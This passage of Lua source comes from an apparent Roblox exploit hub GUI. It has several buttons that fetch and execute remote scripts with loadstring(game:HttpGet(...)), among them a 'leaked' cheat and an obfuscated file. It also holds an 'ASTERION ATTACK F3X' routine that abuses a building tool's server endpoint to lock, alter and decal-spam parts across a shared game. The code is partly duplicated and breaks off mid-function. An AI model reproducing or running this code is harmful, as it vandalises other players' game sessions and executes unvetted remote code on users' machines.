								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 3 then
							local blk = placeBlock(toolBar.Diamond_Ore, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 4 then
							local blk = placeBlock(toolBar.Diamond_Block, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 5 then
							local blk = placeBlock(toolBar.Wood_Planks, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 6 then
							local blk = placeBlock(toolBar.Oak_Log, CFrame.new(x, y, z))
							for _,f in pairs(facesToResize) do
								blk:WaitForChild(f).StudsPerTileU = 2.6
								blk:WaitForChild(f).StudsPerTileV = 2.6
							end
						elseif selectedBlock == 7 or selectedBlock == 8 then
							if Mouse.Target.Size.X <= 10 and Mouse.Target.Size.Y <= 10 and Mouse.Target.Size.Z <= 10 then
								Mouse.Target.Parent = nil
							end
						end
					end
				end
			end)		

			local hasItemOnHand = 0
			local hi = 0
			-- selection thingy
			local selectLabel = Instance.new("TextLabel", gui)
			selectLabel.Size = UDim2.new(0, 32, 0, 32)
			selectLabel.Position = UDim2.new(0.5, -160 + (selectedBlock*40), 1, -105)
			selectLabel.BackgroundTransparency = 0.5
			selectLabel.BackgroundColor3 = Color3.new(1, 1, 1)
			selectLabel.BorderSizePixel = 0
			selectLabel.Text = ""
			selectLabel.ZIndex = 3
			--	
			Mouse.KeyDown:connect(function(key)
				if key == "q" then
					sneaking = 1
					humanoid.WalkSpeed = humanoid.WalkSpeed / 2
					rootJoint.C1 = CFrame.new(0, 0.325, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
					lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(-math.rad(sneaking*45), 0, 0)
					rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
					print("Sneaking...")
				end
				if key == "8" then 
					selectedBlock = 7
					itemOnHand = nil
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					if hasItemOnHand == 1 then hi = 1 end
				end
				if key == "9" then 
					selectedBlock = 8
					itemOnHand = nil
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					if hasItemOnHand == 1 then hi = 1 end
				end
				if key == "1" then 
					selectedBlock = 0
					itemOnHand = toolBar.Dirt
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "2" then 
					selectedBlock = 1 
					itemOnHand = toolBar.Grass
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "3" then 
					selectedBlock = 2 
					itemOnHand = toolBar.Stone
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "4" then 
					selectedBlock = 3 
					itemOnHand = toolBar.Diamond_Ore
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "5" then 
					selectedBlock = 4 
					itemOnHand = toolBar.Diamond_Block
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "6" then 
					selectedBlock = 5 
					itemOnHand = toolBar.Wood_Planks
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if key == "7" then 
					selectedBlock = 6 
					itemOnHand = toolBar.Oak_Log
					for _,d in pairs(handItem:GetChildren()) do
						d:Destroy()
					end
					putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
						itemOnHand.topTex, itemOnHand.bottomTex,
						itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
					for _,f in pairs(facesToResize) do
						handItem:WaitForChild(f).StudsPerTileU = 0.52
						handItem:WaitForChild(f).StudsPerTileV = 0.52
					end
				end
				if (key == "0" or key == "1" or key == "2" 
					or key == "3" or key == "4" or key == "5"
					or key == "6" or key == "7") and hasItemOnHand == 0 then hi = 1 end
				selectLabel.Position = UDim2.new(0.5, -160 + ((selectedBlock)*40), 1, -105)
			end)

			Mouse.KeyUp:connect(function(key)
				if key == "q" then
					sneaking = 0
					humanoid.WalkSpeed = humanoid.WalkSpeed * 2
					rootJoint.C1 = CFrame.new(0, 0.05, 0) * CFrame.Angles(0, 0, 0)
					lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(0, 0, 0)
					rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(0, 0, 0)
					print("Stopped sneaking...")
				end
			end)

			while RS:wait() do
				if itemOnHand ~= nil then 
					hasItemOnHand = 1 
					handItem.Transparency = 0
				else 
					hasItemOnHand = 0 
					handItem.Transparency = 1
				end
				if humanoid.Health < oldHP then
					damageTime = 60
					sound:Play()
				end
				oldHP = humanoid.Health
				if damageTime > 0 and humanoid.Health > 0 then
					for _,p in pairs(char:GetChildren()) do
						if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
							if p.Name == "DamagePart" then
								p.Transparency = 0.5
							end
						end
					end
					damageTime = damageTime - 2
					if damageTime <= 0 then
						for _,p in pairs(char:GetChildren()) do
							if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
								if p.Name == "DamagePart" then
									p.Transparency = 1
								end
							end
						end
					end
				end
				camPart.CFrame = camera.CFrame
				neck.C1 = CFrame.new(0, 0.975, 0) * CFrame.fromEulerAnglesXYZ(math.rad(sneaking*45), math.rad(camPart.Orientation.Y - torso.Orientation.Y), 0)
				neck.C0 = CFrame.new(0, -0.65, 0) * CFrame.Angles(-math.rad(camPart.Orientation.X - torso.Orientation.X - (sneaking*45)), 0, 0)		

				if getMagnitudeXZ(torso.Velocity) > 1 then
					if walkAnim >= 1 then
						increaseWalkAnim = -1
					elseif walkAnim <= -1 then
						increaseWalkAnim = 1
					end
					walkAnim = walkAnim + (increaseWalkAnim/(10+(sneaking*20)))
				else
					walkAnim = 0
				end

				--lH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(-math.rad(sneaking*45), 0, 0)
				--rH.C0 = CFrame.new(0, 0.975, 0) * CFrame.Angles(math.rad(sneaking*45), 0, 0)
				lH.C0 = lH.C0:lerp(CFrame.new(0, 0.975, 0) * CFrame.Angles(-math.rad(sneaking*45) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)), 0, 0), 0.1)
				rH.C0 = rH.C0:lerp(CFrame.new(0, 0.975, 0) * CFrame.Angles(math.rad(sneaking*45) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)), 0, 0), 0.1)
				--
				--rootJoint.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)
				--print(math.abs(head.Orientation.Y) - math.abs(humRootPart.Orientation.Y))
				--if (head.Orientation.Y * 2) - (head.Orientation.Y + torso.Orientation.Y) > 45 then
				--humRootPart.CFrame = humRootPart.CFrame * CFrame.Angles(0, math.rad(-45 + head.Orientation.Y), 0)
				--print("-45")
				--end
				--if (head.Orientation.Y * 2) - (head.Orientation.Y + torso.Orientation.Y) < -45 then
				--humRootPart.CFrame = humRootPart.CFrame * CFrame.Angles(0, math.rad(45 + head.Orientation.Y), 0)
				--print("45")
				--end

				--move these arms
				rootJoint.C1 = rootJoint.C1:lerp(CFrame.new(0, 0.325, 0) * CFrame.Angles(math.rad(sneaking*45), math.rad(punchRotY), 0), 0.2)

				lS.C0 = lS.C0:lerp(CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(idleAnimRotX/20 + math.rad(-hasItemOnHand*10) + math.rad(punchRotX) + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)), 0, math.rad(punchRotZ) + idleAnimRotZ/20), 0.025+(math.min(1, getMagnitudeXZ(torso.Velocity))/12) + divide(punchSpeed, 6) + hi)
				rS.C0 = rS.C0:lerp(CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(idleAnimRotX/20 + math.rad(damageTime*1.5) + math.rad(walkAnim*getMagnitudeXZ(torso.Velocity)*5/(1+sneaking)), 0, idleAnimRotZ/20), 0.025+(math.min(1, getMagnitudeXZ(torso.Velocity))/12))
				if punching == 1 and punchEnded == 1 then
					punching = 0
					print("steve uses punch!!")
					local coPunch = coroutine.wrap(function()
						punchEnded = 0
						punchSpeed = 1
						punchRotX = -60
						punchRotY = -8
						punchRotZ = -35
						wait(0.075)
						punchSpeed = 1
						punchRotX = -75
						punchRotY = 8
						punchRotZ = 40
						wait(0.075)
						punchSpeed = 1
						punchRotX = -20
						punchRotZ = 40
						wait(0.075)
						punchSpeed = 3.5
						punchRotX = 0
						punchRotY = 0
						punchRotZ = 0
						punchEnded = 1
						wait(0.06)	
						punchSpeed = 0			
					end)
					coPunch()
				end			
				if ticks > 20 then
					ticks = 0
					if times == 0 then
						times = times + 1
						idleAnimRotX = -1
						idleAnimRotZ = 0
					elseif times == 1 then
						times = times + 1
						idleAnimRotX = -0.75
						idleAnimRotZ = -0.75
					elseif times == 2 then
						times = times + 1
						idleAnimRotX = 0
						idleAnimRotZ = -1
					elseif times == 3 then
						times = times + 1
						idleAnimRotX = 0.75
						idleAnimRotZ = -0.75
						--idleAnimRotX = 0.75
						--idleAnimRotZ = -0
					elseif times == 4 then
						times = times + 1
						idleAnimRotX = 1
						idleAnimRotZ = 0
						--idleAnimRotX = 1
						--idleAnimRotZ = 0
					elseif times == 5 then
						times = times + 1
						idleAnimRotX = 0.75
						idleAnimRotZ = 0.75
					elseif times == 6 then
						times = times + 1
						idleAnimRotX = 0
						idleAnimRotZ = 1
					elseif times == 7 then
						times = 0
						idleAnimRotX = -0.75
						idleAnimRotZ = 0.75
					end
				end
				if hi == 1 then hi = 0 end
				ticks = ticks + 1
			end
		end
	end
end)




UICorner_23.Parent = TextButton_22

TextButton_23.Parent = Page1
TextButton_23.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_23.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_23.BorderSizePixel = 0
TextButton_23.Size = UDim2.new(0, 90, 0, 38)
TextButton_23.Font = Enum.Font.SourceSans
TextButton_23.Text = "ESP"
TextButton_23.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_23.TextScaled = true
TextButton_23.TextSize = 14.000
TextButton_23.TextWrapped = true
TextButton_23.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://rawscripts.net/raw/Who's-the-Spy-UPDATE-Esp-on-spy-OPEN-SOURCE-15256"))()


end)

UICorner_24.Parent = TextButton_23

TextButton_24.Parent = Page1
TextButton_24.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_24.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_24.BorderSizePixel = 0
TextButton_24.Size = UDim2.new(0, 90, 0, 38)
TextButton_24.Font = Enum.Font.SourceSans
TextButton_24.Text = "Herkder v2"
TextButton_24.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_24.TextScaled = true
TextButton_24.TextSize = 14.000
TextButton_24.TextWrapped = true
TextButton_24.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()


end)
UICorner_25.Parent = TextButton_24

TextButton_25.Parent = Page1
TextButton_25.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_25.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_25.BorderSizePixel = 0
TextButton_25.Size = UDim2.new(0, 90, 0, 38)
TextButton_25.Font = Enum.Font.SourceSans
TextButton_25.Text = "Cmdx"
TextButton_25.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_25.TextScaled = true
TextButton_25.TextSize = 14.000
TextButton_25.TextWrapped = true
TextButton_25.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://gist.github.com/someunknowndude/38cecea5be9d75cb743eac8b1eaf6758/raw"))() 

end)

UICorner_26.Parent = TextButton_25

TextButton_26.Parent = Page1
TextButton_26.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_26.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_26.BorderSizePixel = 0
TextButton_26.Size = UDim2.new(0, 90, 0, 38)
TextButton_26.Font = Enum.Font.SourceSans
TextButton_26.Text = "Brookhaven UWU"
TextButton_26.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_26.TextScaled = true
TextButton_26.TextSize = 14.000
TextButton_26.TextWrapped = true
TextButton_26.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://raw.githubusercontent.com/Execute666j/TESTE/refs/heads/main/zinac%20luraph.txt"))()

end)

UICorner_27.Parent = TextButton_26

TextButton_27.Parent = FrameLux
TextButton_27.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_27.BackgroundTransparency = 1.000
TextButton_27.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_27.BorderSizePixel = 0
TextButton_27.Size = UDim2.new(0, 261, 0, 48)
TextButton_27.Font = Enum.Font.SourceSansBold
TextButton_27.Text = "<"
TextButton_27.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_27.TextScaled = true
TextButton_27.TextSize = 14.000
TextButton_27.TextWrapped = true

TextButton_28.Parent = FrameLux
TextButton_28.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_28.BackgroundTransparency = 1.000
TextButton_28.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_28.BorderSizePixel = 0
TextButton_28.Position = UDim2.new(0.54678899, 0, 0, 0)
TextButton_28.Size = UDim2.new(0, 247, 0, 50)
TextButton_28.Font = Enum.Font.SourceSansBold
TextButton_28.Text = ">"
TextButton_28.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_28.TextScaled = true
TextButton_28.TextSize = 14.000
TextButton_28.TextWrapped = true

Frame.Parent = FrameLux
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0, 0, 0.144578308, 0)
Frame.Size = UDim2.new(0, 545, 0, 2)

Frame_2.Parent = FrameLux
Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame_2.BorderSizePixel = 0
Frame_2.Size = UDim2.new(0, 545, 0, 2)

TextLabel_2.Parent = FrameLux
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Position = UDim2.new(0, 0, 0.885542154, 0)
TextLabel_2.Size = UDim2.new(0, 545, 0, 37)
TextLabel_2.Font = Enum.Font.SourceSans
TextLabel_2.Text = "V1"
TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14.000
TextLabel_2.TextWrapped = true
TextLabel_2.TextXAlignment = Enum.TextXAlignment.Left

Page2.Name = "Page2"
Page2.Parent = FrameLux
Page2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Page2.BackgroundTransparency = 1.000
Page2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Page2.BorderSizePixel = 0
Page2.Position = UDim2.new(0, 0, 0.192771077, 0)
Page2.Size = UDim2.new(0, 545, 0, 260)
Page2.Visible = false

Frame_3.Parent = Page2
Frame_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame_3.BackgroundTransparency = 1.000
Frame_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame_3.BorderSizePixel = 0
Frame_3.Size = UDim2.new(0, 537, 0, 230)

TextBox.Parent = Frame_3
TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox.BackgroundTransparency = 0.500
TextBox.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.000566024333, 0, 0, 0)
TextBox.Size = UDim2.new(0, 544, 0, 163)
TextBox.Font = Enum.Font.SourceSansBold
TextBox.PlaceholderColor3 = Color3.fromRGB(71, 71, 71)
TextBox.PlaceholderText = "Script here"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox.TextSize = 43.000
TextBox.TextWrapped = true
TextBox.TextXAlignment = Enum.TextXAlignment.Left
TextBox.TextYAlignment = Enum.TextYAlignment.Top

TextButton_29.Parent = Frame_3
TextButton_29.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_29.BackgroundTransparency = 1.000
TextButton_29.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_29.BorderSizePixel = 0
TextButton_29.Position = UDim2.new(0, 0, 0.743478239, 0)
TextButton_29.Size = UDim2.new(0, 544, 0, 58)
TextButton_29.Font = Enum.Font.SourceSansBold
TextButton_29.Text = "Execute"
TextButton_29.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_29.TextScaled = true
TextButton_29.TextSize = 14.000
TextButton_29.TextWrapped = true

TextLabel_3.Parent = FrameLux
TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_3.BorderSizePixel = 0
TextLabel_3.Position = UDim2.new(0.631192684, 0, 0.885542154, 0)
TextLabel_3.Size = UDim2.new(0, 200, 0, 37)
TextLabel_3.Font = Enum.Font.SourceSansBold
TextLabel_3.Text = "By Luxcazs"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.TextScaled = true
TextLabel_3.TextSize = 14.000
TextLabel_3.TextWrapped = true

Page3.Name = "Page3"
Page3.Parent = FrameLux
Page3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Page3.BackgroundTransparency = 1.000
Page3.BorderColor3 = Color3.fromRGB(0, 0, 0)
Page3.BorderSizePixel = 0
Page3.Position = UDim2.new(0, 0, 0.192771077, 0)
Page3.Size = UDim2.new(0, 545, 0, 260)

UIGridLayoutA.Parent = Page3
UIGridLayoutA.SortOrder = Enum.SortOrder.LayoutOrder
UIGridLayoutA.CellPadding = UDim2.new(0, 6, 0, 6)
UIGridLayoutA.CellSize = UDim2.new(0, 90, 0, 38)

JhondoeA.Name = "Jhon doe"
JhondoeA.Parent = Page3
JhondoeA.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
JhondoeA.BorderColor3 = Color3.fromRGB(0, 0, 0)
JhondoeA.BorderSizePixel = 0
JhondoeA.Size = UDim2.new(0, 90, 0, 38)
JhondoeA.Font = Enum.Font.SourceSans
JhondoeA.Text = "ASTERION ATTACK F3X"
JhondoeA.TextColor3 = Color3.fromRGB(0, 0, 0)
JhondoeA.TextScaled = true
JhondoeA.TextSize = 14.000
JhondoeA.TextWrapped = true
JhondoeA.MouseButton1Click:Connect(function()

	JhondoeA.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}

			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)

		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}

			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end

		function Sky(id)
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
					--spawn(function()
					SetName(v,"Sky")
					AddMesh(v)
					--end)
					--spawn(function()
					SetMesh(v,"111891702759441")
					SetTexture(v,id)
					--end)
					MeshResize(v,Vector3.new(6000,6000,6000))
					SetLocked(v,true)
				end
			end
		end
		Sky("84962281042912")




	local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	--craaa
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end
	function Color(part,color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		_(args)
	end
	function SpawnDecal(part,side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}

		_(args)
	end
	function AddDecal(part,asset,side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		_(args)
	end

	function spam(id)
		for i,v in game.workspace:GetDescendants() do
			if v:IsA("BasePart") then
				spawn(function()
					SetLocked(v,false)
					SpawnDecal(v,Enum.NormalId.Front)
